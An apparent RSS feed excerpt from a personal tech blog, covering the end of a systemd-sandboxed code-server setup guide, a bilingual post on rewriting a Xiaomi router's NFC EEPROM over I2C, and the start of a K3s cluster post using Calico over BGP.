&lt;li&gt;&lt;strong&gt;&lt;code&gt;ExecStart=/usr/local/bin/safe-restart-codeserver.sh &amp;lt;user&amp;gt;&lt;/code&gt;&lt;/strong&gt;: This is the final step in the logic. The system runs the custom shell script as root, passing the username as an argument.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;We don&apos;t restart the main daemon directly inside the restart service because CodeServer auto-saves on every edit. There&apos;s a risk that during password changes, a half-edited file might trigger a restart, causing incomplete writes. So we write a script that waits until the file is stable before triggering the restart:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/usr/local/bin/safe-restart-codeserver.sh&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/bash
USER_NAME=$1
CONFIG_FILE=&quot;/home/$USER_NAME/.config/code-server/config.yaml&quot;
STAMP_FILE=&quot;/tmp/code-server-restart-${USER_NAME}.stamp&quot;

# 1. Intercept: if stamp file exists and config file is older (or same age) than stamp,
#    this trigger is a leftover queued event from systemd – exit
if [ -f &quot;$STAMP_FILE&quot; ] &amp;amp;&amp;amp; [ &quot;$CONFIG_FILE&quot; -ot &quot;$STAMP_FILE&quot; ]; then
    echo &quot;Config hasn&apos;t changed since last restart, exiting.&quot;
    exit 0
fi

# 2. Debounce wait logic (unchanged)
while true; do
    last_md5=$(md5sum &quot;$CONFIG_FILE&quot;)
    sleep 5
    current_md5=$(md5sum &quot;$CONFIG_FILE&quot;)
    
    if [ &quot;$last_md5&quot; == &quot;$current_md5&quot; ]; then
        # File is stable, perform restart
        systemctl restart code-server@$USER_NAME
        
        # 3. After successful restart, update the stamp file&apos;s mtime
        touch &quot;$STAMP_FILE&quot;
        break
    else
        echo &quot;Config file for $USER_NAME is still changing, waiting...&quot;
    fi
done
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The timestamp mechanism prevents multiple pointless restarts. If the config file&apos;s last edit time is earlier than the last restart time, the restart is rejected.&lt;/p&gt;
&lt;p&gt;After writing the files, enable the trigger: &lt;code&gt;systemctl enable --now code-server-restart@&amp;lt;username&amp;gt;.path&lt;/code&gt; (note it&apos;s &lt;code&gt;.path&lt;/code&gt;, not &lt;code&gt;.service&lt;/code&gt;). Then try slowly editing the password in the config file via the web interface, and check the logs for something like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;○ code-server-restart@lyr.service - Triggered safe restart for lyr
     Loaded: loaded (/etc/systemd/system/code-server-restart@.service; disabled; preset: enabled)
     Active: inactive (dead) since Sat 2026-06-06 06:43:55 UTC; 29s ago
 Invocation: 0bd37fcb6ea44a58870c06b4fde5300c
TriggeredBy: ● code-server-restart@lyr.path
    Process: 6997 ExecStart=/usr/local/bin/safe-restart-codeserver.sh lyr (code=exited, status=0/SUCCESS)
   Main PID: 6997 (code=exited, status=0/SUCCESS)
   Mem peak: 2.5M
        CPU: 43ms

Jun 06 06:43:40 CodeServer systemd[1]: Starting code-server-restart@lyr.service - Triggered safe restart for lyr...
Jun 06 06:43:45 CodeServer safe-restart-codeserver.sh[6997]: Config file for lyr is still changing, waiting...
Jun 06 06:43:50 CodeServer safe-restart-codeserver.sh[6997]: Config file for lyr is still changing, waiting...
Jun 06 06:43:55 CodeServer systemd[1]: code-server-restart@lyr.service: Deactivated successfully.
Jun 06 06:43:55 CodeServer systemd[1]: Finished code-server-restart@lyr.service - Triggered safe restart for lyr.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After editing stops for 5 seconds, CodeServer will restart, and the new password can be used to log in.&lt;/p&gt;
&lt;h2&gt;Configuring Python venv&lt;/h2&gt;
&lt;p&gt;First, install Python3 on the system (no need to elaborate – use the package manager). Also install &lt;code&gt;python3-venv&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt install python3-venv
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, enter the user&apos;s home directory. I chose to create a folder named &lt;code&gt;.venv&lt;/code&gt; for the virtual environment. Inside &lt;code&gt;.venv&lt;/code&gt;, run &lt;code&gt;python3 -m venv myvenv&lt;/code&gt; to create a virtual environment named &lt;code&gt;myvenv&lt;/code&gt;, and append the following line to the user&apos;s &lt;code&gt;.bashrc&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  fi
fi

+source ~/.venv/myvenv/bin/activate
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After that, the venv is automatically activated when the shell starts.&lt;/p&gt;
&lt;h2&gt;Installing the Python extension in CodeServer and pointing it to the venv&lt;/h2&gt;
&lt;p&gt;I won&apos;t go into detail here – just install the Python and debugger extensions in the CodeServer web interface, and set the Python interpreter to the one under the venv.&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;Postscript&lt;/h1&gt;
&lt;p&gt;I set this up before CopyFail and DirtyFrag were disclosed. After disclosure, I ran the PoCs available to me under this configuration and did not observe successful privilege escalation. That observation applies to the environment and samples I tested, not every related exploit variant.&lt;/p&gt;
&lt;p&gt;The tested exploit paths needed sockets such as &lt;code&gt;AF_ALG&lt;/code&gt;, or &lt;code&gt;AF_NETLINK&lt;/code&gt; and &lt;code&gt;AF_RXRPC&lt;/code&gt;, which this &lt;code&gt;RestrictAddressFamilies&lt;/code&gt; allowlist excludes. It may therefore block those paths at socket creation. Establishing the exact failure point requires the specific PoC, kernel version, and system logs.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;NoNewPrivileges=yes&lt;/code&gt; restricts another path: the service and its descendants cannot gain privileges through setuid/setgid bits or file capabilities during &lt;code&gt;execve()&lt;/code&gt;. It does not prevent all privilege changes outside &lt;code&gt;execve()&lt;/code&gt;, nor ensure that damaged system files cannot affect other privileged processes. System updates remain necessary; these settings do not replace vulnerability fixes.&lt;/p&gt;
&lt;p&gt;This article does not explore SELinux. The setup is intended for a server shared with friends rather than critical production workloads. These systemd options combine namespaces, cgroups, and seccomp, but do not form a complete tenant security boundary. SELinux/AppArmor can further restrict access, but cannot guarantee protection against every kernel vulnerability either. Mutually untrusted users call for an assessment of stronger isolation based on the threat model.&lt;/p&gt;
&lt;p&gt;Of course, this solution has other limitations. For example, when there are many users or special UID allocation requirements that exceed 10000, the port calculation logic may fail. For legitimate needs like scientific computing, the current restrictions may be too strict. This article is only intended as a discussion and reference.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Random thoughts: In the age of containerization and cloud-native, traditional systemd still has many interesting features worth exploring that can accomplish a lot…&lt;/em&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Reference:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://git.parabola.nu/~lukeshu/systemd.git/log/man?id=6b3d378331fe714c7bf2263eaa9a8b33fc878e7c&amp;amp;ofs=200&amp;amp;showmsg=1&quot;&gt;systemd.git - A fork of systemd to make components more independant&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.freedesktop.org/software/systemd/man/latest/systemd.exec.html&quot;&gt;systemd.exec: Execution Environment and Sandboxing Options&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.kernel.org/userspace-api/no_new_privs.html&quot;&gt;Linux Kernel Documentation: No New Privileges Flag&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>为小米BE10000路由器的QWRT适配NFC功能</title><link>https://blog.iyoroy.cn/posts/278/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/278/</guid><description>给刷入 QWRT 的小米 BE10000 恢复 NFC 碰一碰连 Wi-Fi：通过 I2C 写入 NDEF 凭证，在无线配置变化时同步，并减少重复擦写。</description><pubDate>Mon, 25 May 2026 15:18:54 GMT</pubDate><content:encoded>&lt;h1&gt;分析&lt;/h1&gt;
&lt;p&gt;将小米BE10000刷入QWRT后，猫棒和 SFP+ 接口在我的配置下已经可以使用，但原厂的 NFC 碰一碰连 Wi-Fi 功能失效了。查阅资料后，发现可以尝试通过 I2C 访问主板上的 NFC EEPROM，更新其中的 Wi-Fi 凭证。先使用&lt;code&gt;i2cdetect&lt;/code&gt;进行扫描：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@QWRT:~# i2cdetect -l
i2c-1   i2c             QUP I2C adapter                         I2C adapter
i2c-2   i2c             QUP I2C adapter                         I2C adapter
i2c-0   i2c             QUP I2C adapter                         I2C adapter
root@QWRT:~# i2cdetect -y -r 0
     0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f
00:          -- -- -- -- -- -- -- -- -- -- -- -- -- 
10: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
20: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
30: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
40: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
50: -- -- -- -- 54 -- -- -- -- -- -- -- -- -- -- -- 
60: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
70: -- -- -- -- -- -- -- --  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;扫描结果很快锁定，设备挂载在I2C总线&lt;code&gt;0&lt;/code&gt;上，物理地址为&lt;code&gt;0x54&lt;/code&gt;。
NFC碰一碰连WiFi则用的是标准的NDEF格式的数据(Ref: &lt;a href=&quot;https://ndeflib.readthedocs.io/en/stable/records/wifi.html&quot;&gt;Wi-Fi Simple Configuration — ndeflib 0.3.2 documentation&lt;/a&gt;)，因此只需要按照标准将数据写入EEPROM即可复现NFC碰一碰连接功能。&lt;/p&gt;
&lt;h1&gt;实现&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;本文内容仅探讨 OpenWrt/QWRT 系统的底层硬件驱动适配与 NDEF 标准协议的封装。文中涉及的硬件参数系基于公开规范文档与通用 I2C 调试工具探测得出。本项目为个人研究兴趣，未包含、也未分发任何厂商专有二进制代码。仅供技术交流学习，请勿用于商业用途，因尝试本文操作导致的设备损坏风险需由读者自行承担。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;提取数据构造NDEF数据&lt;/h2&gt;
&lt;p&gt;要实现自动根据Wi-Fi账号密码更新NFC数据，首先得拿到当前的Wi-Fi账号密码。在OpenWrt上，这部分配置全部由&lt;strong&gt;UCI (Unified Configuration Interface)&lt;/strong&gt; 管理，因此我们只需要读取 UCI 中的 &lt;code&gt;wireless&lt;/code&gt; 配置文件即可。&lt;br /&gt;
为应对现代手机的兼容性问题。早期的设备通常使用&lt;strong&gt;Device Password Token&lt;/strong&gt;触发WPS协商，但现代Android/iOS系统已经限制了这种行为。为了兼顾兼容性，我们需要遵循Wi-Fi Simple Configuration (WSC)规范，将配置打包成 &lt;strong&gt;WLAN Configuration Token (凭证配置令牌)&lt;/strong&gt;。(Ref: &lt;a href=&quot;https://ndeflib.readthedocs.io/en/stable/records/wifi.html#ndef-record-classes&quot;&gt;Wi-Fi Simple Configuration — ndeflib 0.3.2 documentation&lt;/a&gt;)&lt;br /&gt;
将OpenWrt的无线加密模式（如WPA2、WPA3-SAE）精准映射为 WSC 规范定义的 Hex 代码：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x1003&lt;/code&gt;: 认证类型 (Authentication Type)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x100F&lt;/code&gt;: 加密类型 (Encryption Type)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1045&lt;/code&gt;: SSID&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1027&lt;/code&gt;: 网络密钥 (密码)
通过脚本自动遍历并选举出桥接到&lt;code&gt;lan&lt;/code&gt;的首选AP（&lt;code&gt;wifi0&lt;/code&gt;），将其属性转换为Hex字符串，我们就得到了一串标准的NDEF注入载荷。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;写入NFC EEPROM&lt;/h2&gt;
&lt;p&gt;NFC的EEPROM在接收长串的NDEF数据时，如果连续写入太快，或者单次写入块过大，容易导致芯片的I2C状态机死锁。&lt;br /&gt;
经过测试，最终选择使用&lt;code&gt;i2ctransfer&lt;/code&gt;工具来进行分片原子写入。两个关键的时序细节：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;由于通信限制，每次循环只切片取 4 个字节，带有寄存器地址递增的方式进行片段写入。&lt;/li&gt;
&lt;li&gt;在每次 4 字节的 block 写入之间，强制加上10毫秒的时序延迟，给芯片留下足够的内部擦写时间。最后对不足 4 字节的数据用 &lt;code&gt;0x00&lt;/code&gt; 补零。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;实现更改Wi-Fi信息自动触发写入&lt;/h2&gt;
&lt;p&gt;为了尽量贴合OpenWRT的架构，原先通过下hook的方式尝试了，但是发现经常会hook不上，最后加了三层fallback：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;LuCI前端触发: 通过在&lt;code&gt;/etc/uci-defaults/&lt;/code&gt;下注册钩子，将NFC同步脚本与系统的&lt;code&gt;ucitrack&lt;/code&gt;机制绑定。当用户在LuCI中修改了Wi-Fi密码并点击“保存并应用”，系统就会在后台自动更新NFC数据。&lt;/li&gt;
&lt;li&gt;Hotplug层: 在&lt;code&gt;/etc/hotplug.d/iface/70-nfc&lt;/code&gt;中添加热插拔监听事件。当路由器的&lt;code&gt;lan&lt;/code&gt;或&lt;code&gt;wifi&lt;/code&gt;接口发生&lt;code&gt;ifup&lt;/code&gt;状态改变时，系统能够自动触发调度。&lt;/li&gt;
&lt;li&gt;定时任务: 若所有方式都没能触发，每隔15秒会强制检查一次并判断是否需要更新NFC数据。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;同时，考虑到NFC芯片的EEPROM擦写次数是有限的。如果网络接口重启一次就全量重写一次，芯片很快就会报废。因此，在底层的&lt;code&gt;nfc-sync&lt;/code&gt;调度脚本中，引入了简单的哈希校验机制：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;脚本被唤醒后，首先提取当前的 &lt;code&gt;wireless&lt;/code&gt; 配置并计算 MD5 值。&lt;/li&gt;
&lt;li&gt;将其与缓存在&lt;code&gt;/var/run/nfc-wireless.md5&lt;/code&gt;中的旧哈希进行对比。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;只有当 MD5 值发生实际变化时，才会真正下发 I2C 写入指令。&lt;/strong&gt; 否则直接终止流程。结合&lt;code&gt;/var/lock/nfc-sync.lock&lt;/code&gt;的并发文件锁，可以减少重复事件导致的无效擦写，并避免多个同步任务同时操作芯片。这里的 MD5 仅用于检测配置变化，不用于安全校验；这些措施也不能保证 EEPROM 不会因其他原因损坏。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;p&gt;经过测试，发现是能够自动更新的：
&lt;img src=&quot;./images/2026/05/300401385.png&quot; alt=&quot;Pasted image 20260525230448.png&quot; /&gt;
代码仓库：&lt;a href=&quot;https://github.com/KaguraiYoRoy/be10000-qwrt-nfc&quot;&gt;KaguraiYoRoy/be10000-qwrt-nfc: NFC Userland Implementation of QWRT for Xiaomi BE10000 (RC01) Router&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;参考文章：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://ndeflib.readthedocs.io/en/stable/records/wifi.html#ndef-record-classes&quot;&gt;Wi-Fi Simple Configuration — ndeflib 0.3.2 documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>Adapting NFC Functionality for QWRT on Xiaomi BE10000 Router</title><link>https://blog.iyoroy.cn/posts/en-278/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/en-278/</guid><description>Restoring NFC Wi-Fi tap-to-connect on a Xiaomi BE10000 running QWRT by writing NDEF credentials over I2C, syncing wireless changes, and reducing unnecessary EEPROM writes.</description><pubDate>Mon, 25 May 2026 15:18:00 GMT</pubDate><content:encoded>&lt;h2&gt;English Translation&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Title:&lt;/strong&gt; Adapting NFC Functionality for QWRT on Xiaomi BE10000 Router&lt;/p&gt;
&lt;h1&gt;Analysis&lt;/h1&gt;
&lt;p&gt;After flashing the Xiaomi BE10000 with QWRT, the GPON stick and SFP+ interface worked in my setup, but the factory NFC Wi-Fi tap-to-connect feature stopped working. Research suggested that I could update the Wi-Fi credentials by accessing the onboard NFC EEPROM over I2C. I started by scanning with &lt;code&gt;i2cdetect&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@QWRT:~# i2cdetect -l
i2c-1   i2c             QUP I2C adapter                         I2C adapter
i2c-2   i2c             QUP I2C adapter                         I2C adapter
i2c-0   i2c             QUP I2C adapter                         I2C adapter
root@QWRT:~# i2cdetect -y -r 0
     0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f
00:          -- -- -- -- -- -- -- -- -- -- -- -- -- 
10: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
20: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
30: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
40: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
50: -- -- -- -- 54 -- -- -- -- -- -- -- -- -- -- -- 
60: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
70: -- -- -- -- -- -- -- --  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The scan results quickly pinpoint the device attached to I2C bus &lt;code&gt;0&lt;/code&gt; at physical address &lt;code&gt;0x54&lt;/code&gt;.
NFC tap-to-connect-to-Wi-Fi uses standard NDEF format data (Ref: &lt;a href=&quot;https://ndeflib.readthedocs.io/en/stable/records/wifi.html&quot;&gt;Wi-Fi Simple Configuration — ndeflib 0.3.2 documentation&lt;/a&gt;). Therefore, simply writing the data into the EEPROM according to the standard can restore the NFC tap-to-connect functionality.&lt;/p&gt;
&lt;h1&gt;Implementation&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;This article discusses only low-level hardware driver adaptation and NDEF standard protocol encapsulation for the OpenWrt/QWRT system. The hardware parameters mentioned are derived from public specification documents and generic I2C debugging tools. This project is for personal research interest and does not include or distribute any vendor-proprietary binary code. It is intended for technical exchange and learning only. Do not use for commercial purposes. Any risk of device damage resulting from attempts described herein shall be borne solely by the reader.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Extract Data and Construct NDEF Payload&lt;/h2&gt;
&lt;p&gt;To automatically update NFC data based on Wi-Fi credentials, we first need to obtain the current Wi-Fi SSID and password. On OpenWrt, these configurations are managed entirely by &lt;strong&gt;UCI (Unified Configuration Interface)&lt;/strong&gt;. Therefore, we only need to read the &lt;code&gt;wireless&lt;/code&gt; configuration file from UCI.&lt;br /&gt;
To ensure compatibility with modern smartphones, early devices typically used a Device Password Token to trigger WPS negotiation, but modern Android/iOS systems have restricted this behavior. For broader compatibility, we must follow the Wi-Fi Simple Configuration (WSC) specification and package the configuration as a &lt;strong&gt;WLAN Configuration Token&lt;/strong&gt; (credential configuration token). (Ref: &lt;a href=&quot;https://ndeflib.readthedocs.io/en/stable/records/wifi.html#ndef-record-classes&quot;&gt;Wi-Fi Simple Configuration — ndeflib 0.3.2 documentation&lt;/a&gt;)&lt;br /&gt;
Map OpenWrt&apos;s wireless encryption modes (e.g., WPA2, WPA3-SAE) precisely to the hex codes defined by the WSC specification:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x1003&lt;/code&gt;: Authentication Type&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x100F&lt;/code&gt;: Encryption Type&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1045&lt;/code&gt;: SSID&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1027&lt;/code&gt;: Network Key (password)&lt;br /&gt;
Through a script, we automatically traverse and select the primary AP bridged to &lt;code&gt;lan&lt;/code&gt; (e.g., &lt;code&gt;wifi0&lt;/code&gt;), convert its attributes to hex strings, and produce a standard NDEF payload.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Write to NFC EEPROM&lt;/h2&gt;
&lt;p&gt;When the NFC EEPROM receives a long string of NDEF data, writing too quickly or in excessively large blocks per write can easily cause the chip&apos;s I2C state machine to lock up.&lt;br /&gt;
After testing, we chose to use the &lt;code&gt;i2ctransfer&lt;/code&gt; tool for atomic fragmented writes. Two critical timing details:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Due to communication limitations, each loop slices only 4 bytes, with auto-incrementing register addresses.&lt;/li&gt;
&lt;li&gt;Between each 4-byte block write, a 10 ms delay is enforced to allow sufficient internal erase/write time for the chip. Finally, any remaining data less than 4 bytes is padded with &lt;code&gt;0x00&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Automatically Trigger Writes on Wi-Fi Configuration Changes&lt;/h2&gt;
&lt;p&gt;To closely follow OpenWrt&apos;s architecture, we initially tried using hooks but found they often failed. Eventually, three fallback layers were added:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;LuCI frontend trigger&lt;/strong&gt;: Register a hook under &lt;code&gt;/etc/uci-defaults/&lt;/code&gt; to bind the NFC sync script to the system&apos;s &lt;code&gt;ucitrack&lt;/code&gt; mechanism. When a user modifies the Wi-Fi password in LuCI and clicks &quot;Save &amp;amp; Apply&quot;, the system automatically updates the NFC data in the background.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hotplug layer&lt;/strong&gt;: Add a hotplug event listener in &lt;code&gt;/etc/hotplug.d/iface/70-nfc&lt;/code&gt;. When the router&apos;s &lt;code&gt;lan&lt;/code&gt; or &lt;code&gt;wifi&lt;/code&gt; interface changes to &lt;code&gt;ifup&lt;/code&gt; state, the system automatically triggers the sync.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cron job&lt;/strong&gt;: If none of the above triggers work, a cron job forces a check every 15 seconds to determine if an NFC update is needed.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Additionally, considering that the NFC EEPROM has limited write endurance, if the network interface restarts even once and triggers a full rewrite, the chip would soon wear out. Therefore, a simple hash check mechanism is introduced in the underlying &lt;code&gt;nfc-sync&lt;/code&gt; script:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;When the script is awakened, it first extracts the current &lt;code&gt;wireless&lt;/code&gt; configuration and calculates its MD5 hash.&lt;/li&gt;
&lt;li&gt;It compares this hash with the old hash cached in &lt;code&gt;/var/run/nfc-wireless.md5&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Only when the MD5 value actually changes does it issue the I2C write command.&lt;/strong&gt; Otherwise, the process terminates immediately. Together with the file lock at &lt;code&gt;/var/lock/nfc-sync.lock&lt;/code&gt;, this reduces unnecessary writes from repeated events and prevents concurrent sync tasks from accessing the chip. MD5 is only used to detect configuration changes here, not for security verification; these measures cannot guarantee the EEPROM&apos;s lifespan.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;p&gt;After testing, automatic updating works as expected:&lt;/p&gt;
&lt;p&gt;![[Pasted image 20260525230448.png]]&lt;/p&gt;
&lt;p&gt;Code repository: &lt;a href=&quot;https://github.com/KaguraiYoRoy/be10000-qwrt-nfc&quot;&gt;KaguraiYoRoy/be10000-qwrt-nfc: NFC Userland Implementation of QWRT for Xiaomi BE10000 (RC01) Router&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;References:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://ndeflib.readthedocs.io/en/stable/records/wifi.html#ndef-record-classes&quot;&gt;Wi-Fi Simple Configuration — ndeflib 0.3.2 documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>从零构建跨地域 K3s 集群 - Calico 无封装 CNI</title><link>https://blog.iyoroy.cn/posts/265/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/265/</guid><description>在已有跨地域内网上部署 K3s，选择 Calico 无封装模式，通过 BGP 让中间路由器学习 Pod 路由，并记录 CNI 选型、拓扑和 MTU 调整。</description><pubDate>Sun, 05 Apr 2026 13:43:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;其实老早就想玩玩 K8s 集群了，一直觉得没有足够的知识支撑，玩起来比较的费劲就没尝试。&lt;br /&gt;
前段时间好好研究了一下 DN42 和 BGP, OSPF 之类的组网协议，发现现在理解起来不那么费劲了，于是果断上手 K3s（&lt;/p&gt;
&lt;p&gt;选择 K3s 而不是 K8s 主要原因还是其轻量化：资源要求低，部署不需要拉一大堆镜像，有国内镜像……总之就是，觉得 K3s 比较符合我的需求。&lt;/p&gt;
&lt;p&gt;咱是刚开始研究 K3s 的小白，若有错误还请各位大佬手下留情~&lt;/p&gt;
&lt;h1&gt;分析&lt;/h1&gt;
&lt;h2&gt;CNI 组件的选择&lt;/h2&gt;
&lt;p&gt;我目前的网络架构是这样的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;graph TD
    subgraph ZeroTier Domestic
        subgraph WDS
            Gateway &amp;lt;--&amp;gt; VM1
            Gateway &amp;lt;--&amp;gt; VM2
        end
        NGB &amp;lt;--&amp;gt; Gateway
        HFE-NAS &amp;lt;--&amp;gt; Gateway
        NGB &amp;lt;--&amp;gt; HFE-NAS
    end

    subgraph IEPL
        Global-NIC &amp;lt;==OSPF==&amp;gt; CN-NIC 
    end

    subgraph ZeroTier Global
        HKG02 &amp;lt;--&amp;gt;  HKG04
        TYO &amp;lt;--&amp;gt; HKG04
        TYO &amp;lt;--&amp;gt; HKG02
    end

    CN-NIC &amp;lt;--&amp;gt; NGB
    CN-NIC &amp;lt;--&amp;gt; HFE-NAS
    CN-NIC &amp;lt;--OSPF--&amp;gt; Gateway

    Global-NIC &amp;lt;--OSPF--&amp;gt; TYO
    Global-NIC &amp;lt;--OSPF--&amp;gt; HKG02
    Global-NIC &amp;lt;--OSPF--&amp;gt; HKG04

    %% 样式定义：设置为橘色背景、加粗边框以代表路由器
    classDef router fill:#f96,stroke:#333,stroke-width:2px,font-weight:bold;
    class Global-NIC,CN-NIC,Gateway router;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中，  WDS 节点是个 ProxmoxVE，下挂多个 VM ，通过 OSPF 广播其 VM 的 IPv4 Prefix 地址，香港节点需要访问到 WDS 节点下挂 VM 时便可以通过加入 OSPF 内网实现多跳可达。这样封装层数也只有1层，不需要担心 MTU 消消乐。&lt;/p&gt;
&lt;p&gt;我打算在 WDS 下新开两个 VM 分别用作主控和一个节点（暂且称其为 KubeMaster 、KubeNode-WDS1），然后 HKG04 （暂且称为KubeNode-HKG04） 也当作一个节点接入 K3s。&lt;/p&gt;
&lt;p&gt;最简单的方式其实是直接通过 K3s 默认的 Flannel 作为 CNI，但是 Flannel 是基于 VXLAN 的，再套一层我现有的内网的话就会产生如下 MTU 消消乐的情况：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;数据包 -&amp;gt; Flannel VXLAN封装 -&amp;gt; ZeroTier封装 -&amp;gt; 物理链路
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;实际容器间通信可用 MTU 大概得压缩到 1350 甚至更低。因此，我尝试寻找一个能直接基于这套内网工作的 CNI 方案，然后就找到了 Calico。了解下来知道 Calico 是以 BGP 作为底层寻路协议，支持通过 No-Encapsulated 即无封装模式启动，数据包直接交由上层路由器处理路由，因此选择 Calico 作为 CNI 组件。&lt;/p&gt;
&lt;h2&gt;路由设计&lt;/h2&gt;
&lt;p&gt;为了保证中间节点的路由器可以知道如何路由 Pod 的 IP，而 KubeMaster 和 KubeNode-WDS1 在 ProxmoxVE 主机下，他们需要跨越整个内网与 HKG04 建立 BGP， 因此这就意味着中间每一级路由都需要学习到完整的 BGP 路由，这样才能打通这样的路由路径：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;graph LR

subgraph WDS
    KubeMaster
    KubeNode-WDS1
    Gateway
end

subgraph IEPL
    CN-Namespace
    Global-Namespace
end

KubeNode-WDS1 &amp;lt;--&amp;gt; Gateway
KubeMaster &amp;lt;--&amp;gt; Gateway &amp;lt;--&amp;gt; CN-Namespace &amp;lt;--&amp;gt; Global-Namespace &amp;lt;--&amp;gt; HKG04

%% 样式定义：突出显示具备路由功能的节点
classDef router fill:#f96,stroke:#333,stroke-width:2px,font-weight:bold;
class Gateway,CN-Namespace,Global-Namespace router;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;否则，中间的任何一跳都会因为不认识来源/目标 IP 导致丢包。同时，由于 iBGP 从邻居学到的路由，不能继续传递给下一个 iBGP 邻居的特性，Gateway、CN-Namespace、Global-Namespace 与节点间的 BGP Session 都需要启用 Route Reflector， 否则节点无法正确互相学习到路由。&lt;/p&gt;
&lt;p&gt;虽然但是，其实这种架构更适合做 BGP Confederation （ BGP 联邦），但是我现有的网络已经很复杂，再加 BGP 联邦会让后期维护起来比较麻烦，而且我的节点数量也不多，iBGP Full Mesh 的开销还能接受。 &lt;s&gt;绝对不是因为我懒（&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;所以最终网络路由结构是这样的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;graph TB
subgraph WDS
    VM1
    VM2
    Gateway
end

subgraph IEPL
    CN-Namespace
    Global-Namespace
end

VM1 &amp;lt;-.Calico iBGP Full Mesh.-&amp;gt; VM2
VM1 &amp;lt;--iBGP Route Reflector--&amp;gt; Gateway
VM2 &amp;lt;--iBGP Route Reflector--&amp;gt; Gateway &amp;lt;--iBGP--&amp;gt; CN-Namespace &amp;lt;--iBGP--&amp;gt; Global-Namespace
